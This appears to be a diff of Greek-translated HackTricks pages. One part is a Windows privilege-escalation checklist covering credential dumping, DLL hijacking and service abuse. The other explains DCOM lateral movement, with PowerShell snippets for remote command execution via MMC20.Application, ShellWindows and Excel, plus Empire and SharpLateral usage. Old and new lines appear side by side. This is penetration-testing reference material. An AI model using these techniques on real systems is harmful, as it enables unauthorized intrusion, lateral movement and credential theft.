* Ελέγξτε τα [**σπίτια χρηστών**](windows-local-privilege-escalation/#home-folders) (πρόσβαση?)
* Ελέγξτε τη [**Πολιτική Κωδικών**](windows-local-privilege-escalation/#password-policy)
* Τι υπάρχει μέσα στο [**Πρόχειρο**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard)?
* [ ] Ελέγξτε τα [**σπίτια χρηστών**](windows-local-privilege-escalation/#home-folders) (πρόσβαση;)
* [ ] Ελέγξτε τη [**Πολιτική Κωδικών**](windows-local-privilege-escalation/#password-policy)
* [ ] Τι υπάρχει [**μέσα στο Πρόχειρο**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard);
### [Δίκτυο](windows-local-privilege-escalation/#network)
* Ελέγξτε τις **τρέχουσες** [**πληροφορίες δικτύου**](windows-local-privilege-escalation/#network)
* Ελέγξτε **κρυφές τοπικές υπηρεσίες** περιορισμένες προς τα έξω
* [ ] Ελέγξτε τις **τρέχουσες** [**πληροφορίες δικτύου**](windows-local-privilege-escalation/#network)
* [ ] Ελέγξτε **κρυφές τοπικές υπηρεσίες** περιορισμένες προς τα έξω
### [Εκτελούμενες Διεργασίες](windows-local-privilege-escalation/#running-processes)
* Άδειες αρχείων και φακέλων των διεργασιών [**αρχείων και φακέλων**](windows-local-privilege-escalation/#file-and-folder-permissions)
* [**Εξόρυξη κωδικών μνήμης**](windows-local-privilege-escalation/#memory-password-mining)
* [**Ευάλωτες εφαρμογές GUI**](windows-local-privilege-escalation/#insecure-gui-apps)
* Κλέψτε διαπιστευτήρια με **ενδιαφέρουσες διεργασίες** μέσω `ProcDump.exe` ? (firefox, chrome, κλπ ...)
* [ ] Δικαιώματα αρχείων και φακέλων των διεργασιών [**αρχείων και φακέλων**](windows-local-privilege-escalation/#file-and-folder-permissions)
* [ ] [**Εξόρυξη Κωδικών Μνήμης**](windows-local-privilege-escalation/#memory-password-mining)
* [ ] [**Ευάλωτες Εφαρμογές GUI**](windows-local-privilege-escalation/#insecure-gui-apps)
* [ ] Κλέψτε διαπιστευτήρια με **ενδιαφέρουσες διεργασίες** μέσω `ProcDump.exe` ? (firefox, chrome, κλπ ...)
### [Υπηρεσίες](windows-local-privilege-escalation/#services)
* [Μπορείτε να **τροποποιήσετε κάποια υπηρεσία**;](windows-local-privilege-escalation#permissions)
* [Μπορείτε να **τροποποιήσετε** το **δυαδικό** που **εκτελείται** από κάποια **υπηρεσία**;](windows-local-privilege-escalation/#modify-service-binary-path)
* [Μπορείτε να **τροποποιήσετε** το **μητρώο** μιας **υπηρεσίας**;](windows-local-privilege-escalation/#services-registry-modify-permissions)
* [Μπορείτε να εκμεταλλευτείτε κάποιο **μη-περιγραμμένο δυαδικό υπηρεσίας**;](windows-local-privilege-escalation/#unquoted-service-paths)
* [ ] [Μπορείτε να **τροποποιήσετε κάποια υπηρεσία**;](windows-local-privilege-escalation#permissions)
* [ ] [Μπορείτε να **τροποποιήσετε** το **εκτελούμενο** που **εκτελείται** από κάποια **υπηρεσία**;](windows-local-privilege-escalation/#modify-service-binary-path)
* [ ] [Μπορείτε να **τροποποιήσετε** το **μητρώο** μιας **υπηρεσίας**;](windows-local-privilege-escalation/#services-registry-modify-permissions)
* [ ] [Μπορείτε να εκμεταλλευτείτε κάποιο **μη-περιγραμμένο εκτελέσιμο μονοπάτι υπηρεσίας**;](windows-local-privilege-escalation/#unquoted-service-paths)
### [**Εφαρμογές**](windows-local-privilege-escalation/#applications)
* **Δικαιώματα εγγραφής σε εγκατεστημένες εφαρμογές**](windows-local-privilege-escalation/#write-permissions)
* [**Εφαρμογές Εκκίνησης**](windows-local-privilege-escalation/#run-at-startup)
* [ ] **Δικαιώματα εγγραφής σε εγκατεστημένες εφαρμογές**](windows-local-privilege-escalation/#write-permissions)
* [ ] [**Εφαρμογές Εκκίνησης**](windows-local-privilege-escalation/#run-at-startup)
* **Ευάλωτοι** [**Οδηγοί**](windows-local-privilege-escalation/#drivers)
### [Διαρροή DLL](windows-local-privilege-escalation/#path-dll-hijacking)
### [Απάτη DLL](windows-local-privilege-escalation/#path-dll-hijacking)
* [ ] Μπορείτε **να γράψετε σε οποιονδήποτε φάκελο μέσα στο PATH**;
* [ ] Υπάρχει κάποιο γνωστό δυαδικό αρχείο υπηρεσίας που **προσπαθεί να φορτώσει κάποιο μη υπαρκτό DLL**;
* [ ] Μπορείτε **να γράψετε** σε οποιονδήποτε **φάκελο δυαδικών**;
* Μπορείτε **να γράψετε σε οποιοδήποτε φάκελο μέσα στο PATH**;
* Υπάρχει κάποιο γνωστό δυαδικό υπηρεσίας που **προσπαθεί να φορτώσει κάποιο μη υπάρχον DLL**;
* Μπορείτε **να γράψετε** σε οποιονδήποτε **φάκελο δυαδικών**;
### [Δίκτυο](windows-local-privilege-escalation/#network)
* [ ] Καταμέτρηση του δικτύου (κοινόχρηστους φακέλους, διεπαφές, δρομολόγια, γείτονες, ...)
* [ ] Εξέταση των υπηρεσιών δικτύου που ακούνε στο localhost (127.0.0.1)
* [ ] Απαριθμήστε το δίκτυο (κοινόχρηστους φακέλους, διεπαφές, διαδρομές, γείτονες, ...)
* [ ] Εξετάστε προσεκτικά τις υπηρεσίες δικτύου που ακούν στο localhost (127.0.0.1)
### [Διαπιστευτήρια Windows](windows-local-privilege-escalation/#windows-credentials)
### [Διαπιστώσεις Windows](windows-local-privilege-escalation/#windows-credentials)
* [ ] [**Winlogon** ](windows-local-privilege-escalation/#winlogon-credentials)διαπιστευτήρια
* [ ] [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault) διαπιστευτήρια που μπορείτε να χρησιμοποιήσετε?
* [ ] Ενδιαφέροντα [**DPAPI διαπιστευτήρια**](windows-local-privilege-escalation/#dpapi)?
* [ ] Κωδικοί αποθηκευμένων [**δικτύων Wifi**](windows-local-privilege-escalation/#wifi)?
* [ ] Ενδιαφέρουσες πληροφορίες σε [**αποθηκευμένες συνδέσεις RDP**](windows-local-privilege-escalation/#saved-rdp-connections)?
* [ ] Κωδικοί σε [**πρόσφατα εκτελεσμένες εντολές**](windows-local-privilege-escalation/#recently-run-commands)?
* [ ] Διαχειριστής διαπιστευτηρίων [**Remote Desktop**](windows-local-privilege-escalation/#remote-desktop-credential-manager); κωδικοί;
* [ ] Το [**AppCmd.exe** υπάρχει](windows-local-privilege-escalation/#appcmd-exe); Διαπιστευτήρια;
* [ ] [**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm); DLL Side Loading?
* [ ] [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault) διαπιστευτήρια που μπορείτε να χρησιμοποιήσετε;
* [ ] Ενδιαφέρουσες [**DPAPI διαπιστευτήρια**](windows-local-privilege-escalation/#dpapi);
* [ ] Κωδικοί αποθηκευμένων [**δικτύων Wifi**](windows-local-privilege-escalation/#wifi);
* [ ] Ενδιαφέρουσες πληροφορίες σε [**αποθηκευμένες συνδέσεις RDP**](windows-local-privilege-escalation/#saved-rdp-connections);
* [ ] Κωδικοί σε [**πρόσφατες εντολές εκτέλεσης**](windows-local-privilege-escalation/#recently-run-commands);
* [ ] [**Διαχειριστής διαπιστευτηρίων Remote Desktop**](windows-local-privilege-escalation/#remote-desktop-credential-manager) κωδικοί;
* [ ] [**AppCmd.exe** υπάρχει](windows-local-privilege-escalation/#appcmd-exe); Διαπιστευτήρια;
* [ ] [**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm); Φόρτωση πλευρικών DLL;
### [Αρχεία και Καταχώριση (Διαπιστευτήρια)](windows-local-privilege-escalation/#files-and-registry-credentials)
### [Αρχεία και Καταχωρήσεις (Διαπιστευτήρια)](windows-local-privilege-escalation/#files-and-registry-credentials)
* [ ] **Putty:** [**Διαπιστευτήρια**](windows-local-privilege-escalation/#putty-creds) **και** [**κλειδιά κεντρικού SSH**](windows-local-privilege-escalation/#putty-ssh-host-keys)
* [ ] **Putty:** [**Διαπιστευτήρια**](windows-local-privilege-escalation/#putty-creds) **και** [**κλειδιά SSH του κεντρικού υπολογιστή**](windows-local-privilege-escalation/#putty-ssh-host-keys)
* [ ] [**Κλειδιά SSH στο μητρώο**](windows-local-privilege-escalation/#ssh-keys-in-registry);
* [ ] Κωδικοί σε [**ανεπίβλεπα αρχεία**](windows-local-privilege-escalation/#unattended-files);
* [ ] Κωδικοί σε [**ανεπίτρεπτα αρχεία**](windows-local-privilege-escalation/#unattended-files);
* [ ] Οποιαδήποτε αντίγραφα ασφαλείας [**SAM & SYSTEM**](windows-local-privilege-escalation/#sam-and-system-backups);
* [ ] [**Διαπιστευτήρια Cloud**](windows-local-privilege-escalation/#cloud-credentials);
* [ ] Αρχείο [**McAfee SiteList.xml**](windows-local-privilege-escalation/#mcafee-sitelist.xml);
@ -108,16 +116,36 @@
* Κωδικός σε [**αρχείο ρυθμίσεων IIS Web**](windows-local-privilege-escalation/#iis-web-config);
* Ενδιαφέρουσες πληροφορίες σε [**καταγραφές ιστού**](windows-local-privilege-escalation/#logs);
* Θέλετε να [**ζητήσετε διαπιστευτήρια**](windows-local-privilege-escalation/#ask-for-credentials) από τον χρήστη;
* Ενδιαφέροντα [**αρχεία μέσα στον Κάδο Ανακύκλωσης**](windows-local-privilege-escalation/#credentials-in-the-recyclebin);
* Άλλη [**καταχώριση που περιέχει διαπιστευτήρια**](windows-local-privilege-escalation/#inside-the-registry);
* Ενδιαφέρουσες [**αρχεία μέσα στον Κάδο Ανακύκλωσης**](windows-local-privilege-escalation/#credentials-in-the-recyclebin);
* Άλλες [**καταχωρήσεις που περιέχουν διαπιστευτήρια**](windows-local-privilege-escalation/#inside-the-registry);
* Μέσα στα [**δεδομένα του προγράμματος περιήγησης**](windows-local-privilege-escalation/#browsers-history) (βάσεις δεδομένων, ιστορικό, σελιδοδείκτες, ...);
* [**Γενική αναζήτηση κωδικών πρόσβασης**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) σε αρχεία και καταχώριση;
* [**Γενική αναζήτηση κωδικών πρόσβασης**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) σε αρχεία και καταχωρήσεις;
* [**Εργαλεία**](windows-local-privilege-escalation/#tools-that-search-for-passwords) για αυτόματη αναζήτηση κωδικών πρόσβασης
### [Διαρροές Handlers](windows-local-privilege-escalation/#leaked-handlers)
### [Διαρροή Χειριστών](windows-local-privilege-escalation/#leaked-handlers)
* [ ] Έχετε πρόσβαση σε οποιονδήποτε handler ενός διεργασίας που εκτελείται από διαχειριστή;
* [ ] Έχετε πρόσβαση σε κάποιο χειριστή ενός διεργασίας που τρέχει από διαχειριστή;
### [Παραποίηση Πελάτη Ονομασμένου Σωλήνα](windows-local-privilege-escalation/#named-pipe-client-impersonation)
### [Παραπληροφόρηση Πελάτη Ονομάτων Σωλήνων](windows-local-privilege-escalation/#named-pipe-client-impersonation)
* [ ] Ελέγξτε αν μπορείτε να το εκμεταλλευτείτε
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Μάθετε το χάκινγκ AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -2,16 +2,24 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)..
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## MMC20.Application
**Για περισσότερες πληροφορίες σχετικά με αυτήν την τεχνική, ελέγξτε την αρχική δημοσίευση από [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
@ -26,14 +34,14 @@ Get-CimInstance Win32_DCOMApplication
```powershell
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
```
Αυτή η εντολή συνδέεται με την εφαρμογή DCOM και επιστρέφει μια παρουσία του αντικειμένου COM. Η μέθοδος ExecuteShellCommand μπορεί στη συνέχεια να κληθεί για να εκτελέσει ένα διεργασία στον απομακρυσμένο υπολογιστή. Η διαδικασία περιλαμβάνει τα ακόλουθα βήματα:
Αυτή η εντολή συνδέεται στην εφαρμογή DCOM και επιστρέφει μια παράδειγμα του αντικειμένου COM. Η μέθοδος ExecuteShellCommand μπορεί στη συνέχεια να κληθεί για να εκτελέσει ένα διεργασία στον απομακρυσμένο υπολογιστή. Η διαδικασία περιλαμβάνει τα ακόλουθα βήματα:
Έλεγχος μεθόδων:
```powershell
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member
```
Αποκτήστε ελέγχους απομακρυσμένου εκτελέσιμου κώδικα (RCE):
Αποκτήστε ελέγχους απομακρυσμένης εκτέλεσης (RCE):
```powershell
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member
@ -46,14 +54,14 @@ ls \\10.10.10.10\c$\Users
**Για περισσότερες πληροφορίες σχετικά με αυτήν την τεχνική, ελέγξτε την αρχική δημοσίευση [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)**
Αναγνωρίστηκε ότι το αντικείμενο **MMC20.Application** δεν διαθέτει σαφείς "LaunchPermissions," προεπιλέγοντας άδειες που επιτρέπουν πρόσβαση στους Διαχειριστές. Για περισσότερες λεπτομέρειες, μπορεί να εξεταστεί ένα νήμα [εδώ](https://twitter.com/tiraniddo/status/817532039771525120), και συνιστάται η χρήση του [@tiraniddo](https://twitter.com/tiraniddo) OleView .NET για το φιλτράρισμα αντικειμένων χωρίς σαφείς άδειες εκκίνησης.
Αναγνωρίστηκε ότι το αντικείμενο **MMC20.Application** δεν έχει σαφή "LaunchPermissions," προεπιλέγοντας άδειες που επιτρέπουν πρόσβαση στους Διαχειριστές. Για περαιτέρω λεπτομέρειες, μπορεί να εξεταστεί ένα νήμα [εδώ](https://twitter.com/tiraniddo/status/817532039771525120), και συνιστάται η χρήση του [@tiraniddo](https://twitter.com/tiraniddo)s OleView .NET για το φιλτράρισμα αντικειμένων χωρίς σαφείς άδειες εκκίνησης.
Δύο συγκεκριμένα αντικείμενα, `ShellBrowserWindow` και `ShellWindows`, τόνισαν λόγω έλλειψης σαφών άδειων εκκίνησης. Η απουσία εγγραφής καταχώρισης `LaunchPermission` κάτω από `HKCR:\AppID\{guid}` σημαίνει ότι δεν υπάρχουν σαφείς άδειες.
### ShellWindows
Για το `ShellWindows`, το οποίο δεν διαθέτει ProgID, οι μέθοδοι .NET `Type.GetTypeFromCLSID` και `Activator.CreateInstance` διευκολύνουν τη δημιουργία αντικειμένου χρησιμοποιώντας το AppID του. Αυτή η διαδικασία εκμεταλλεύεται το OleView .NET για την ανάκτηση του CLSID για το `ShellWindows`. Μόλις δημιουργηθεί, η αλληλεπίδραση είναι δυνατή μέσω της μεθόδου `WindowsShell.Item`, οδηγώντας σε κλήση μεθόδου όπως `Document.Application.ShellExecute`.
Για το `ShellWindows`, το οποίο δεν έχει ProgID, οι μέθοδοι .NET `Type.GetTypeFromCLSID` και `Activator.CreateInstance` διευκολύνουν την αρχικοποίηση αντικειμένου χρησιμοποιώντας το AppID του. Αυτή η διαδικασία εκμεταλλεύεται το OleView .NET για την ανάκτηση του CLSID για το `ShellWindows`. Μόλις αρχικοποιηθεί, η αλληλεπίδραση είναι δυνατή μέσω της μεθόδου `WindowsShell.Item`, οδηγώντας σε κλήση μεθόδου όπως `Document.Application.ShellExecute`.
Παρατίθενται παραδείγματα εντολών PowerShell για τη δημιουργία του αντικειμένου και την εκτέλεση εντολών απομακρυσμένα:
Παρατίθενται παραδειγματικές εντολές PowerShell για την αρχικοποίηση του αντικειμένου και την εκτέλεση εντολών απομακρυσμένα:
```powershell
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com)
@ -64,7 +72,7 @@ $item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\sy
Η πλευρική κίνηση μπορεί να επιτευχθεί εκμεταλλευόμενη τα αντικείμενα DCOM του Excel. Για λεπτομερείς πληροφορίες, συνιστάται η ανάγνωση της συζήτησης για την εκμετάλλευση του Excel DDE για πλευρική κίνηση μέσω DCOM στο [blog της Cybereason](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom).
Το έργο Empire παρέχει ένα σενάριο PowerShell, το οποίο δείχνει τη χρήση του Excel για εκτέλεση κώδικα από απόσταση (RCE) με τη χρήση της διαχείρισης αντικειμένων DCOM. Παρακάτω παρουσιάζονται αποσπάσματα από το σενάριο που είναι διαθέσιμο στο [αποθετήριο GitHub του Empire](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), που δείχνουν διαφορετικές μεθόδους κατάχρησης του Excel για RCE:
Το έργο Empire παρέχει ένα σενάριο PowerShell, το οποίο δείχνει τη χρήση του Excel για απομακρυσμένη εκτέλεση κώδικα (RCE) με τη χρήση της διαχείρισης αντικειμένων DCOM. Παρακάτω παρατίθενται αποσπάσματα από το σενάριο που είναι διαθέσιμο στο [αποθετήριο GitHub του Empire](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), που δείχνουν διαφορετικές μεθόδους κατάχρησης του Excel για RCE:
```powershell
# Detection of Office version
elseif ($Method -Match "DetectOffice") {
@ -109,6 +117,12 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
* [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)
* [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)
**Ομάδα Ασφάλειας Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
@ -117,8 +131,8 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub.
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>